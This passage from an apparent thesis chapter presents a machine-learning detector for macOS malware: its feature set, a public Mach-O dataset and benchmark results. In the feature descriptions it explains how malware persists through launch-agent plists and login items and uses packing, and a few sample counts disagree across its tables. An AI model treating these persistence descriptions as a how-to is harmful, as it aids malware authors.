Finally, Gatekeeper [14] is a security mechanism to verify that any down-
loaded app or plugin is signed with a valid Developer ID certificate, is no-
tarized by Apple, and has not been tampered with since it was signed. It
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permits only notarized app bundles to be executed by default. However,
the user can voluntarily allow any non-notarized app to run on the system
(or be deceived into doing so by the creator of the malicious software).

Entitlements

They are essentially permissions that an app needs in order to access priv-
ileged system resources or user-sensitive data, perform certain operations,
or disable specific security measures [13]. These permissions are encoded
as key-value pairs and are embedded within the Mach-O code signature.
Apple provides a broad range of entitlements [13], which are organized into
categories based on the types of resources or operations they control, such as
Security, Privacy, and Notifications. Many of them fall under the Security

category, covering important components like the Hardened Runtime and
App Sandbox. However, not all entitlements are available to developers, as
some are restricted to Apple’s own applications.

App Sandbox

It isolates applications from critical system resources and other apps, provid-
ing an additional layer of protection against potential security breaches [9].
By default, the App Sandbox restricts access to sensitive system areas, such
as files, hardware, and network services, ensuring that an app can only ac-
cess the specific resources it needs to function. This containment minimizes
the impact of security vulnerabilities within the app by preventing malicious
or compromised applications from interfering with the rest of the system.
Apps that require access to restricted resources must request dedicated en-
titlements to access the user’s documents, camera, location, etc.

Hardened Runtime

It is a security feature designed to provide strong protection against ex-
ploitation by enforcing strict security policies [15]. These policies include
restrictions on dynamic code generation, loading of unsigned libraries, and
preventing unauthorized debugging or code injection. By default, the Hard-
ened Runtime is enabled, and apps that wish to perform potentially dan-
gerous operations, which could undermine security, must request specific
entitlements to bypass some of these protections. For example, an app may
request entitlements for Just-In-Time (JIT) compilation or other operations
that the Hardened Runtime typically blocks.
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Category Features Type Size

Structural

Sample Total Size N 1
Sample Virtual Size N 1

Header Flags B 26
Load Commands Histogram N 50

Min/Max/Avg Load Commands Size N 3
Min/Max/Avg Load Commands Entropy N 3

Min/Max/Avg Sections Size N 3
Min/Max/Avg Sections Entropy N 3

Min/Max/Avg Segments Size N 3
Min/Max/Avg Segments Virtual Size N 3

Min/Max/Avg Segments Entropy N 3
Segments Histogram N 6
Sections Histogram N 11

Byte Byte Histogram N 256
Bytes N-grams N 128

String Count of strings representing common IoC N 5

Packing Presence of sections with suspicious names B 1
Presence of segments (> 20%) with high-entropy data B 1

API Presence of common macOS API B 4009

Entitlements Presence of common and security-related entitlements B 55

Persistence Check for login and launch items B 2

Certificates Status of certificate chain N 5

Table 5.1: Summary of feature categories proposed in this work. N: numeric
feature, B: boolean feature. The macOS-specific features are highlighted in
green.

5.3 Features for macOS Malware Detection

In our detector, each Mach-O sample is represented by a 4,578-dimensional
feature vector. As summarized in Table 5.1, we group each feature into
eight main categories, defined according to the source used to extract them:
file structure, bytes, strings, packing, APIs, entitlements, persistence tech-
niques, and certificates. For each feature, the table shows the data type, i.e.,
numeric (float) or boolean, as well as its size, i.e., the number of values used
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to represent the feature. These features have been designed to cover the set
of features commonly adopted for Windows malware detection [7, 44], and
are complemented with platform-dependent features dedicated to capture
the peculiarities of the Mach-O file format, such as entitlements, certificates,
and those related to persistence. It is worth noting that, even though the
features that are exclusively specific to macOS binaries represent only 62 out
of 4,578 features, in the experiments we will show that they are valuable for
the classification of macOS samples (see Subsection 5.5.4). The remainder
of this section describes in more detail how we adapted existing indicators
to macOS binaries and how we computed macOS-specific features.

Structural features. This set includes commonly used features associ-
ated with structural properties of a binary file, which have been extended
from the literature on Windows malware detection [44, 7]. Specifically, in
addition to common features such as total and virtual size of the sample,
we consider 50 of the most common load commands that can be present in
a Mach-O file [158], and count how many times each of them is included
in the binary (Load Commands Histogram in Table 5.1). Furthermore, we
compute additional statistical features, such as max, min, and average size
and entropy of sections, load commands, and segments present in the binary.
Moreover, we count the number of common segments, namely __TEXT,
__DATA, __PAGEZERO, __OBJC, __IMPORT, __LINKEDIT, and
sections, i.e., __text, __data, __bss, __dylb, __cstring, __const,
__la_symbol_ptr, __literal4, __literal8, __jump_table, and __point
ers. These features are summarized by the Segments Histogram and Sections

Histogram in Table 5.1. Finally, to support fat binaries, we compute the
average of the numeric features among the executables contained in the fat
binary, while for boolean features (such as Header Flags) we apply the log-
ical OR operation, i.e., if at least one of the binaries has the feature, the
resulting feature is set.

Byte-based features. These features represent statistical properties of the
byte sequence that composes the binary. We compute them by respectively
counting the occurrence of each byte (i.e., byte histogram) and by extracting
byte N-grams (N = 2 in our experiments) with a hashing technique applied
to map these patterns into a fixed-dimensional space of 128 features for
efficient representation, following the approach in EMBER [7].

String-based features. This category captures the presence of common
strings associated with Indicators of Compromise (IoC). Specifically, we
extract five classes of strings that are more likely to be relevant for mal-
ware detection, namely network resources (IPs and URLs), filesystem paths,
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base64-encoded strings, imported libraries, and functions’ names. As for the
strings related to network resources, filesystem paths, and base64-encoded
strings, we leverage regular expressions to identify them. On the other
hand, libraries and functions’ names have been extracted using the LIEF
library [167]. To reduce the noise introduced by the high number and vari-
ety of strings in the binaries, we compute the number of strings belonging
to each class and obtain five numerical features.

Packing-based features. Packing is a widely used technique by malware
authors to obfuscate malicious code and hinder static analysis efforts, and
previous research has shown that macOS malware authors also leverage it
for the same purpose [179]. Indeed, some well-known samples, such as oRat,
IPStorm, ZuRu, Coldroot and OceanLotus, use common packers such as
UPX [179]. Our work is the first to incorporate packing-based features into
a macOS malware detector, in particular by using two features that reflect
the presence of packing. The first checks for the presence of sections with
names related to the UPX packer, such as __XHDR, UPX_DATA, and
upxTEXT. We focused on UPX because it is one of the most common
packers for Mach-O binaries used by macOS malware authors. Indeed, re-
searchers from MoonLock Labs [121] found that∼26% of the packed malware
samples analyzed in 2024 were packed with UPX, making it the primary
choice for Mach-O compression. The second feature checks if the binary
includes more than 20% of segments with high-entropy data (i.e., if the en-
tropy is higher than 7), which indicates that the binary is likely packed or
compressed. This feature is inspired by the approach of pefile [33] to detect
packing in Windows malware samples.

API-based features. This category of features aims to capture how the
samples use common macOS APIs. Notably, while macOS APIs have previ-
ously been identified as good indicators to guide manual analysis of macOS
malware [178, 106], none of the existing works have used them as features
for machine learning-based detection. In this work, we show that API calls
are effective for macOS malware detection when used as features (see sub-
section 5.5.4), thereby supporting analogous findings in the Windows mal-
ware detection literature [85], where APIs have proven effective in captur-
ing the malicious behavior. Specifically, we first leverage the official Apple
documentation [10] to identify the most common frameworks used in ma-
cOS applications, such as AppKit, CoreFoundation, SystemConfiguration,
Kernel, as well as those related to security and privacy, such as Security.
To this end, we identified a total of 35 frameworks. Next, we remove all the
APIs that are included in fewer than 10 samples (i.e., 0.02% of the samples)
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in the dataset since they are not very representative of the common behav-
ior of the samples and generally represent outliers obtained when extracting
the imported APIs using the LIEF library [167]. For each framework, we
identify the 400 most common APIs2, setting this threshold based on our
finding that the average number of APIs per framework in our dataset is
around 400. This process results in a total of 4,009 unique APIs, each
represented by a boolean feature.

Entitlements-based features. This category, specific to macOS, captures
the presence of common entitlements. Specifically, we create an initial list of
entitlements by leveraging the official Apple documentation [13] to identify
all the main security-relevant entitlements, such as those related to App
Sandbox and Hardened Runtime. Then, to complement the above list with
common entitlements used by the samples in the dataset, we select those
present in at least 1% of the samples (i.e., ∼411) and add those not already
in the initial list. Finally, we compute a boolean feature for each of the
resulting 55 entitlements that we obtained through our selection process.

Persistence-based features. We leverage two boolean features to cap-
ture two widely-used persistence techniques used in macOS: login items and
launch items.

Login items are applications that start automatically at user login and
run within the user’s desktop session by inheriting the user’s permissions.
Based on previous research [178, 179], we check for the usage of common
APIs such as LSSharedFileListCreate, LSSharedFileListInsertItemURL,
SMLoginItemSetEnabled, and registerAndReturnError, specifically de-
signed to manage and interact with applications that are set to launch
automatically during user login. This persistence mechanism has been ob-
served in several macOS malware families, such as Kitm, NetWire, and
WindTail [178].

Launch items are, instead, persistence mechanisms designed for service
executables, such as software updaters, background processes, and daemons.
They can be classified into launch agents and launch daemons. While the
former run once after login with standard user permissions and may interact
with the user session, the latter are non-interactive daemons launched before
user login and run with root permissions. As explained in [178, 179], a com-
mon way to achieve persistence by malware samples is to create at runtime a
property list (.plist) file in /Library/LaunchAgents or /LaunchAgents for
launch agents, or /Library/LaunchDaemons for launch daemons, with the
<key>RunAtLoad</key> set to true, which tells the macOS system to start

2If a framework has fewer than 400 APIs, we include all available ones.
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the launch item automatically. This technique has been observed in several
macOS malware families, such as AppleJeus, DazzleSpy, and EvilQuest [178].
To detect this persistence method in our samples, we check for the presence
of the <key>RunAtLoad</key> string within the executable. However, it
is worth noting that some malware, such as EvilQuest, can use obfuscation
techniques to hide the presence of the embedded .plist file [178], bypassing
our simple feature extraction technique.

Certificates-based features. This set of features aims to summarize the
status of the certificate chain included in the binary (if any). To achieve this,
we map five boolean features to the potential states in which a certificate
chain embedded in a binary may be found (see Table 5.1):

• Certificate chain found: true if the binary includes a certificate chain
(i.e., if the certificates are included in the Code Signature load com-
mand).

• Certificate chain expired: true if at least one of the certificates in the
chain is expired. In this case, we consider a certificate expired if the
date of the analysis (i.e., 2nd December 2024) is after the expiration
date of the certificate. Despite being time-dependent, this feature is
included both for completeness and because it is generally required
for certificate validation.

• Certificate chain self-signed: true if at least one of the certificates in
the chain is self-signed.

• Certificate chain revoked: true if at least one of the certificates in the
chain is revoked.

• Certificate chain validated: true if the root certificate is signed by the
Apple Root Certification Authority (CA).

5.4 Dataset

As discussed in Section 5.1, one of the main obstacles that has severely
limited macOS malware research is the lack of a large, up-to-date, and pub-
licly available dataset of macOS binaries. What researchers have previously
created for their experiments is too small to effectively train machine learn-
ing models. For instance, the dataset created and published by Pajouh et

al. [129] in 2018 and used in subsequent studies [146, 36, 58] until 2022 con-
tains only 152 binaries. Other datasets, such as those curated by Walkup
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et al. [176] in 2014 and Thaeler et al. [166] in 2024, have never been pub-
licly released, further limiting access to comprehensive resources for macOS
malware analysis.

To tackle this challenge and support the training and evaluation of our
machine learning models, we assembled a new dataset of macOS executables
by combining samples obtained from a variety of sources. Our new dataset
includes 41,139 Mach-O executables, with 11,413 goodware samples and
29,716 malware samples, and all samples were carefully processed to ensure
its suitability for large-scale analysis and machine learning applications.
To further support the research community, we make our dataset publicly
available [117].

5.4.1 Sample Sources

Goodware samples were collected from the following three sources.
macOS installation. We extracted 1,239 Mach-O executables from a ma-
cOS Sonoma 14.5 installation on an Apple M1 MacBook Pro. Specifically,
we collected preinstalled system binaries and applications from the default
installation paths, including /bin, /sbin, /usr/bin, /usr/sbin, /Applications,
and ∼/Applications.
Homebrew. We extracted 9,843 executables from macOS applications
available through the Homebrew package manager [107], filtering out those
whose status is either deprecated, disabled, or outdated.
Open-source macOS apps. We collected the remaining 1,045 executables
from several open-source macOS applications available on GitHub [102].

Malware samples were collected from a variety of sources.
Objective-See dataset. A curated dataset of macOS malware samples [125]
maintained by Patrick Wardle and also used in previous research stud-
ies [129, 166], which included 180 samples at the time we accessed it.
MalwareBazaar. We downloaded all the samples from MalwareBazaar [105]
tagged with macho and detected as malicious by at least 5 antivirus (AV)
engines. At the time of the download, we found 90 samples.
Virus Samples Team dataset. This dataset includes 103 samples that
we downloaded from their GitHub repository [170].
VirusShare. We used 2,910 malware samples from VirusShare [171]. Since
the platform does not provide any API to filter for macOS samples, we
leveraged the reports and information provided in the MalDICT [81] paper
by selecting all samples available on VirusShare tagged as macos. More-
over, for each selected sample, we collected the related report to filter out
all samples detected by less than 5 AV engines.
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Label x86-64 arm64 fat Total

Malware 27,339 (92%) 1,812 (6%) 565 (2%) 29,716
Goodware 3,813 (33%) 2,104 (18%) 5,496 (48%) 11,413

Total 31,152 (76%) 3,916 (9%) 6,061 (15%) 41,129

Table 5.2: Samples distribution by CPU architecture. Percentages in the
Total row are computed w.r.t. the total number of samples, while the others
are computed w.r.t. the label.

VirusTotal. We monitored the VT feed from July 1st to November 13th
2023 and retained samples with the mac or macho tag, which were detected
by at least 5 AV engines. This resulted in 28,380 macOS malware samples.

5.4.2 Sample Extraction

After collecting goodware and malware samples from different sources, we
processed them to create a homogeneous dataset. Since the samples can
be distributed using different archive file formats, such as .dmg and .zip,
we implemented a fully automated pipeline that extracts the contents of
the archive based on the file format and checks if it contains any Mach-O
executable. After the extraction, we filtered out all binaries that are not
Mach-O executables (e.g., dynamic libraries) and those compiled for a CPU
architecture other than x86-64 or arm64 (e.g., PowerPC). We also excluded
all the Mach-O samples intended for iOS and WatchOS by checking the plat-

form field in the Build Version load command (LC_BUILD_VERSION).
Finally, we processed each sample using a LIEF-based script [167] and re-
moved those that could not be properly parsed and those lacking load com-
mands or sections.

As for the goodware samples, we implemented an extra validation step
by using VirusTotal to verify that none were detected as malicious by any
of the AV engines available on the platform.

As a result of these processing steps, our dataset consists of 41,129 sam-
ples, including 11,413 goodware and 29,716 malware samples.

5.4.3 Dataset Analysis

Table 5.2 shows the distribution of the samples by CPU architecture: 76%
of the samples are compiled for x86-64, 9% for arm64 CPUs, and 15% are fat
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bundlore adload pirrit jailbreak

9,484
(33.84%)

7,131
(25.44%)

2,934
(10.47%)

582
(2.08%)

evilquest lador genieo stealer

464
(1.66%)

454
(1.62%)

438
(1.56%)

415
(1.48%)

Table 5.3: Distribution of families containing at least 1% of the total number
of malware samples.

binaries, i.e., they support both the x86-64 and arm64 architectures. It is
noteworthy how goodware and malware samples are distributed differently
across the target architectures. In fact, the majority of the benign sam-
ples (5,496, corresponding to 48% of the goodware dataset) are fat binaries,
while the distribution of malware samples is heavily skewed towards the
x86-64 architecture, with 27,344 samples (92% of all malicious files). This
result confirms that malware authors continue to target the x86-64 archi-
tecture [160, 145], suggesting that x86-64 remains prevalent in the desktop
Apple ecosystem.

Table 5.3 shows the distribution of malicious samples by family accord-
ing to the most common label provided by VT. We considered only the
families containing at least 1% of the total number of malware samples in
the dataset. This results in eight families, which cover about 80% of all
malware samples. The family distribution of our dataset, which mainly
reflects the prevalence of real-world families collected in the wild, is highly
imbalanced. Indeed, the top three families, namely bundlore [110] (33.84%),
adload [159, 160] (25.44%), and pirrit [52] (10.47%), account for 70% of the
malware samples.

Presence of packing

Our dataset also allowed us to perform a large-scale analysis of packing
in macOS malware, which has never been studied before. To identify
packed samples, we used two static features commonly associated with pack-
ing [179]: the presence of suspicious section names related to UPX and high-
entropy data sections. As shown in Table 5.4, we found 4,362 (∼2% of the
total) potentially packed samples, of which 4,069 are malicious (∼14% of
the malware set) and 293 (∼2% of the goodware set) are benign. Among
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Label Suspicious Section Names High Entropy Sections

x86-64 arm64 fat x86-64 arm64 fat

Malware 21 0 0 3917 122 9
Goodware 1 0 0 138 50 104

Total 22 (0.05%) 0 (0%) 0 (0%) 4055 (9.85%) 172 (0.42%) 113 (0.27%)

Table 5.4: Samples distribution for packing-based features.
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Figure 5.2: Top-20 entitlements. [sec], [dev] and [gen] prefixes represent
the entitlements’ category: security-related, developer-related and generic
one, respectively.

the potentially packed malware samples, the majority (3,938) are x86-64
binaries, followed by 122 arm64 binaries and 9 fat binaries. As for the po-
tentially packed goodware samples, we found that most of them (139) are
x86-64 binaries, while 50 are arm64 and 104 are fat binaries.

Packing is not very prevalent among macOS malware executables, with
around 10% of the samples in our dataset showing clear signs of pack-
ing. As is the case for other operating systems, we also identified po-
tentially packed benign software. Moreover, it is interesting to observe
that the proportion of potentially packed samples is considerably higher
for x86-64 binaries, likely because common packing techniques are more
mature for this architecture.
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Figure 5.3: Analysis of the most common macOS APIs.

Differences in macOS APIs usage

To further analyze the API usage by the samples in the dataset, we consid-
ered the top-4 frameworks containing the highest number of APIs: Kernel
(including the C standard and BSD libraries), AppKit & Foundation (re-
ferred to as AppKit hereafter), CoreFoundation (including CFNetwork),
and Security. Figure 5.3 shows the distribution of the top-20 imported APIs
per framework, ordered by their total usage across both goodware and mal-
ware. The bars report the percentage of goodware and malware samples
that import each API, computed over the total number of goodware and
malware samples, respectively. For the Kernel and AppKit frameworks,
we observed that the top APIs are more frequently used by goodware than
malware. This is expected, given their role in standard system functional-
ity and user interface development. In contrast, the APIs belonging to the
CoreFoundation and Security frameworks, which are respectively adopted
for low-level system and cryptographic operations, are used more frequently
by malware.
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Label Login Items Launch Items

x86-64 arm64 fat x86-64 arm64 fat

Malware 262 20 29 432 120 36
Goodware 103 10 269 8 8 25

Total 365 30 298 440 128 61

Table 5.5: Samples distributions for persistence mechanisms. Percentages
in the Total row are computed w.r.t. the total number of samples.

Malware samples tend to use a higher number of low-level APIs from
CoreFoundation, while goodware ones tend to rely on high-level APIs.
In addition, malware samples employ more security-related APIs, espe-
cially those that access the keychain (e.g., SecItemExport) or perform
cryptographic operations (e.g., SecEncryptTransformCreate).

Entitlements distribution

In Figure 5.2, we show the distribution of the top-20 entitlements and the
category of the framework containing them to assess potential differences
between benign and malicious samples. Seventeen of the top-20 entitle-
ments are security-related and are far more commonly used by goodware
rather than malware. For instance, the most common entitlement, allow-jit,
which is related to the Hardened Runtime and allows the binary to exe-
cute JIT-compiled code, is used by 32.6% of goodware but only 1.8% of
malware. Moreover, among arm64 samples, 99.13% of goodware samples
use this entitlement, compared to just 0.87% of malware samples. This
further confirms that this entitlement seems to be a distinctive feature of
arm64 goodware samples. Similarly, the second most common entitlement,
allow-unsigned-executable-memory, is used by 32.3% of goodware and only
1.1% of malware.

The presence of security-related entitlements such as allow-jit is a very
distinctive feature of goodware samples. As we will unveil in our results,
the presence of such entitlements is an important feature for distinguish-
ing between goodware and malware.
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Differences in persistence mechanisms

We found 1,322 samples (∼3% of the dataset) that leverage persistence
techniques based on the persistence-related features described in Section 5.3:
899 are malicious (3% of malware) and 423 are benign (3.7% of goodware).
Table 5.5 presents their distribution by persistence mechanism (login items
vs. launch items) and architecture. As for login items, no major difference
is observed between goodware and malware overall. However, looking at the
single architecture distributions, we can see that this persistence technique
is tightly correlated to the CPU architecture: it is used more often by
malware samples based on the x86-64 architecture (262 samples), while it
is more commonly used by goodware samples that are fat binaries (269
samples). On the other hand, launch items have a different trend. Indeed,
this persistence mechanism is used more often by malware (588) than by
goodware (41) across all architectures. Specifically, it is widely used by
malware samples based on the x86-64 architecture (432 samples) and less
frequently by the other architectures (120 and 36 samples for arm64 and fat
binaries, respectively).

Persistence is not widely used in the dataset, with only 3% of samples
employing such techniques. The presence of login items depends on both
the sample’s nature and its architecture, while the presence of launch
items is more indicative of malicious behavior, being more common in
malware samples regardless of the architecture.

Analysis of the certificate status

According to their certificate chain status, we divided the samples into the
following nine groups:

• nocert: no certificate chain found.

• novalid: certificate chain found but not validated by Apple.

• revoked valid: certificate chain found and validated, but at least one
certificate is revoked.

• self-signed: certificate chain found, with at least one certificate being
self-signed.

• self-signed expired: certificate chain found, with at least one certifi-
cate being both self-signed and expired.
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Label nocert revoked
valid self-signed self-signed

expired
expired
novalid

expired
valid

expired
revoked

valid
novalid valid

Malware 83.44 4.32 0.19 0.04 0.01 5.66 3.43 0.03 2.87
Goodware 14.65 0.12 0.26 0.13 0.00 19.59 0.07 0.00 65.17

Table 5.6: Percentages of sample with different certificate status.

• expired novalid: certificate chain found, not validated, and with at
least one certificate expired.

• expired valid: certificate chain found and validated, with at least one
certificate expired.

• expired revoked valid: certificate chain found and validated, with at
least one certificate expired and at least one that is revoked.

• valid: certificate chain found and validated by Apple.

The results, reported in Table 5.6, show that the majority (∼83%) of
malware samples do not include a certificate chain, while most goodware
samples (∼65%) include a certificate chain validated by Apple. Interest-
ingly, roughly 3% of malware samples include a certificate chain validated
by Apple, which is neither expired nor revoked. The presence of self-signed
certificates is very low in both goodware (0.26%) and malware (0.19%), even
when considering samples with certificate chains that are both expired and
self-signed (0.13% for goodware and 0.04% for malware).

As we will reveal in our results, the status of the certificate chain, in par-
ticular the presence of certificates and whether it is validated by Apple,
is a key feature for distinguishing between goodware and malware sam-
ples. In addition, security analysts can easily interpret this information,
making it highly valuable for explainability and for identifying the root
cause of a detection.

5.5 Experiments & Results

In this section, we introduce the experimental setup, describe the conducted
experiments and the obtained results. Specifically, the evaluation aims to
address the following research questions:
[RQ5.1] Feature Effectiveness – Do the proposed macOS-specific fea-
tures enhance detection performance when compared to existing state-of-
the-art approaches?
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[RQ5.2] Feature Importance – Are the proposed macOS-specific features
effectively leveraged by our detector?
[RQ5.3] Feature Robustness – Do the macOS-specific features generalize
to new variants? Which role do they play in the detection of new samples
collected in the wild?
[RQ5.4] Real-World Accuracy – How does a detector equipped with
our features compare with state-of-the-art macOS models in a real-world
assessment?

5.5.1 Experimental Setup

All experiments were conducted on an Ubuntu 22.04.6 LTS server equipped
with an Intel Xeon Platinum 8160 CPU @ 2.10 GHz (64 cores) and 256 GB
of RAM.

We performed a comprehensive benchmarking by comparing our set of
features with those proposed in the literature by [166] and [129], the latter of
which has been widely adopted in subsequent works [146, 36, 58]. Hence, we
refer to all these as Pajouh-based in the following. We evaluated several tree-
based machine learning models, namely Decision Tree (DT), Random Forest
(RF) [30], and XGBoost [37], since they are widely adopted in the literature
dedicated to Windows malware detection [44, 7, 59], have been proven to
outperform deep learning models on tabular data, as in our case, [65], and
offer many advantages such as robustness to outliers and explainability [112].
All the tree-based models were implemented and trained by using the follow-
ing Python packages: scikit-learn v1.5.0 [132], xgboost v2.1.0, and crepes
v0.7.1 [28] for model calibration. To tune the models’ hyper-parameters
(see Table 5.7) in line with the state-of-the-art [169], we performed a grid
search based on 5-fold cross-validation (CV) on the training set to ensure a
fair evaluation [143]. Since this resulted in five different models, all the re-
ported results are the mean values across the five models, each one evaluated
on its corresponding test set obtained from the CV split. We additionally
tested the models’ generalization capabilities on a temporally newer sample
distribution consisting of a collection of real-world macOS benign and ma-
licious samples collected over a 3-month period. In addition, we evaluated
MalConv [142], an end-to-end deep learning model for raw byte sequences
classification, widely adopted for Windows malware detection [86, 137, 59].
It was trained using the default architecture and hyper-parameters described
in [142]. We evaluated the performance of all the models for all the target
CPU architectures, as well as in the architecture-agnostic scenario. To this
end, based on our analysis in Section 5.4, we split our dataset by CPU ar-
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Model Feature Range

Decision
Tree

max_depth [2, 10]
max_features [sqrt, log2, None]

criterion [gini, entropy, log_loss]
min_samples_leaf [4, 8]
min_samples_split [2, 10]

Random
Forest

n_estimators [5, 100]
max_depth [2, 10]

max_features [sqrt, log2, None]
criterion [gini, entropy, log_loss]

min_samples_leaf [4, 8]
min_samples_split [2, 10]

XGBoost

n_estimators [5, 100]
max_depth [2, 10]

eta [1e−5, 1e−1]
min_child_weight [8, 16]
colsample_bytree [0.4, 1.0]

Table 5.7: Hyper-parameters of the machine learning models evaluated in
this work.

chitecture and created four different benchmarking datasets (see Table 5.2):
x86-64, arm64, fat, and multi-arch, the latter of which includes all the
binaries regardless of the CPU architecture.

5.5.2 Comparison with State-of-the-Art Detectors

The results are presented in Table 5.8, which shows the True Positive Rate
(TPR) at 1% False Positive Rate (FPR) for all the feature sets, models, and
architectures. They highlight several interesting takeaways.

First and foremost, our feature set consistently outperforms the others
in all the considered scenarios. Specifically, considering the best-performing
model for each feature set, our detector (based on XGBoost) achieves an
average improvement of 13.07%, 26.31%, 17.49%, and 9.39% for the x86-
64, arm64, fat, and multi-arch datasets, respectively. On average, across
all benchmarking datasets, our detector achieves a relative improvement of
16.56% compared to the state-of-the-art detectors. To clarify, the average
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Features Model x86-64 arm64 fat multi-arch

Our
DT 39.11 81.40 77.35 85.90
RF 92.28 95.09 89.38 96.66

XGBOOST 96.87 97.07 90.80 98.50

Pajouh-
based

DT 37.38 66.43 66.01 62.81
RF 87.68 80.91 77.18 88.62

XGBOOST 88.44 82.86 78.05 90.90

Thaeler
DT 38.15 40.77 65.48 72.61
RF 81.26 69.14 71.93 81.36

XGBOOST 86.78 69.25 72.57 90.23

MalConv - 82.04 79.81 81.77 89.06

Avg. Improv. +13.07% +26.31% +17.49% +9.39%

Table 5.8: TPR @ 1% FPR of the evaluated models. We report in bold
the best results for each feature set, which are used to compute the average
improvement, as the average of the relative improvements of our best model
(XGBOOST) compared to the best-performing model for the other feature
sets as (our− other) / other× 100.

improvement is computed as the mean of the relative improvements of our
best detector (XGBoost) over the best-performing detector for each of the
other feature sets, as (our− other)/other× 100. We used the same formula
to compute the average improvement (or decrease) for all the comparisons
reported below.

Notably, the DT model achieved low performance (< 50% TPR) in all
scenarios, suggesting that effective classification requires capturing complex
feature interactions that can only be modeled by more advanced tree-based
approaches such as Random Forest and XGBoost. Nevertheless, the de-
tectors were evaluated at a very low FPR (e.g., 1%), which represents a
particularly challenging operating point for malware detection systems.

Also, it is worth remarking that our detector performs especially well
on the arm64 dataset (26.31%), confirming the effectiveness of the proposed
features for emerging CPU architectures.

Furthermore, the MalConv model, which uses raw byte sequences of
executables as input, is the worst-performing detector in all the considered
scenarios, highlighting the importance of feature engineering in macOS mal-
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Figure 5.4: ROC curves of the machine learning models trained on the
features proposed in this work, namely Decision Tree (DT), Random Forest
(RF), and XGBoost (XGBOOST).
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Figure 5.5: ROC curves of the XGBoost model trained on the state-of-
the-art features sets, namely ours (our), the features used in Pajouh et

al. [129] (pajouh), those proposed in Thaeler et al. [166] (thaeler), as well
as MalConv (malconv)

ware detection.
Finally, across all the proposed detectors, the performance on the multi-

arch dataset is higher than on the other datasets. This may be due to the
fact that training on a more diverse and larger dataset enables the detectors
to learn distinguishing characteristics from multiple architectures.

Finally, for completeness we also report Figures 5.4 and 5.5 to further
evaluate the performance of the target models and feature sets. The former
(i.e., Figure 5.4) shows the ROC curves of the machine learning models
evaluated in this work on the proposed features, namely Decision Tree (DT),
Random Forest (RF), and XGBoost (XGBOOST). It confirms that the
XGBoost model achieves the best performance among the evaluated models,
especially at very low false positive rates.

The latter (i.e., Figure 5.5) shows the ROC curves of the XGBoost
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model (the best among the evaluated models) trained on the state-of-the-
art feature sets evaluated in this work, i.e., ours (our), the features used in
Pajouh et al. [129] (pajouh), those proposed by Thaeler et al. [166] (thaeler),
as well as MalConv (malconv). These results clearly demonstrate that the
XGBoost model based on our features consistently outperforms the state-of-
the-art solutions at all false positive rates, hence confirming the effectiveness
of the proposed features for macOS malware detection.

[RQ5.1] Thanks to the use of the new proposed features, our detec-
tor achieves an average improvement of 16.56% over state-of-the-art
solutions trained on generic features. Our experiments also show that
the detectors trained on the entire multi-arch dataset provide better re-
sults, highlighting the benefits of using larger and more diverse training
samples.

5.5.3 Family Classification Performance

We further evaluated the effectiveness of our detector (i.e., the XGBoost
model based on the proposed features) for family classification. To this end,
we built a multi-class dataset consisting of all the goodware samples (11,413)
from the original dataset, while for the malware samples, we considered the
eight most common malware families in our dataset (see Table 5.3), i.e.,
bundlore, adload, pirrit, jailbreak, evilquest, lador, genieo, and stealer,
for a total of 21,679 malware samples. Hence, in total, the multi-class
dataset consists of 33,097 samples and 9 classes (8 malware families and 1
goodware class). To split the dataset into training and test sets, we also
adopted a stratified approach to ensure that the distribution of the classes
is the same in both the training and test sets. The experimental results are
reported in Table 5.9, which shows the detection rate (i.e., the TPR) for each
category, computed using the one-vs-all strategy, i.e., we turned the multi-
class problem into multiple binary classification problems, where we trained
a binary classifier for each target class and then computed the TPR at 1%
FPR for each class. The results demonstrate that the proposed detector
can also effectively distinguish between the main macOS malware families,
achieving an average detection rate of 99.53%, with the best-performing
families being evilquest and lador, which achieve a perfect detection rate
of 100.00%, while the worst-performing family is stealer, which achieves a
detection rate of 98.50%, possibly due to the low number of samples available
in the dataset.
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bundlore adload pirrit jailbreak evilquest lador genieo stealer goodware

99.95 99.09 99.93 99.25 100.00 100.00 99.52 98.52 99.96

Table 5.9: TPR at 1% FPR of our detector trained for family-classification.
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Figure 5.6: Feature importance based on total gain for our detector. The
macOS-specific features are highlighted in bold.

5.5.4 Effectiveness of Domain-Specific Features

In this section, we conduct two studies to evaluate the effectiveness of the
macOS-specific features proposed in this work. First, we evaluate their
importance, i.e., if our detector (based on the XGBoost model) effectively
leverages the macOS-specific features for classification. Then, we assess the
impact of removing these features on the detection performance.

Features Importance. Figure 5.6 shows, for each CPU architecture, the
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Features x86-64 arm64 fat multi-arch

all 96.87 97.07 90.80 98.50
generic 95.16 92.60 86.49 96.68
specific 95.72 94.88 90.44 97.96

generic vs all −1.76% −4.60% −4.74% −1.85%

Table 5.10: TPR at 1% FPR of our detector (XGBoost model) for feature
importance analysis based on feature assessment.

top-10 most important features based on the total gain, a metric commonly
used to identify the features that most significantly influence XGBoost pre-
dictions [31]. Although feature importance varies across the benchmark-
ing datasets, in all the scenarios the macOS-specific features (emphasized
in bold in the figure) play a key role in the classification task. Notably,
whether the certificate is validated (cert_validated) and the presence of
the certificate chain (cert_present) are the most important features for
the multi-arch and fat datasets. This finding aligns with our preliminary
analysis in Section 5.4, which emphasizes their relevance in distinguishing
goodware from malware samples.

As for the x86-64 dataset, the most important feature is the presence
of the allow-unsigned-executable-memory entitlement, while for arm64 the
presence of the allow-jit entitlement is the most important one, which has a
huge impact on the model’s predictions. This is in accordance with the anal-
ysis conducted in Section 5.4 regarding the entitlements, which shows that
the presence of allow-jit is a strong indicator of a sample being goodware,
especially for arm64 samples.

Finally, it is worth noting that some low-level APIs, such as fputc and
system, are among the most important features for the x86-64, fat, and
multi-arch datasets. To this end, by analyzing the frequency of fputc, we
identified it as the most distinctive low-level API call for goodware samples,
as it exhibits the largest normalized difference between the number of good-
ware and malware samples that utilize it. This likely explains why the model
picks up this feature as a strong indicator of goodness. As for the system
API, instead, we found that it is widely used by malware (33.78%) but
very rarely by goodware (1.02%) in our dataset. This is somehow expected,
since by analyzing some reports of macOS malware samples available on
VT, we found that the system API is often used to directly execute system
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commands.

Feature Assessment. To further investigate the effectiveness of the macOS-
specific features, we divided the proposed features into two subsets: generic
and specific. The former (generic) includes only the baseline features com-
monly used in malware analysis, such as structural, byte-based, string-
based, and packing-based features. The latter (specific) includes the macOS-
specific features: certificate status, entitlements, persistence, and APIs.

We re-trained the XGBoost model on these two subsets by using the
same experimental setup described above. This allows us to assess the
impact of removing the macOS-specific features. The results, reported in
Table 5.10, show that the detector trained on all features (all) performs
better than those trained on only a subset of them. When used in isolation,
the specific features outperform the generic ones, particularly for arm64
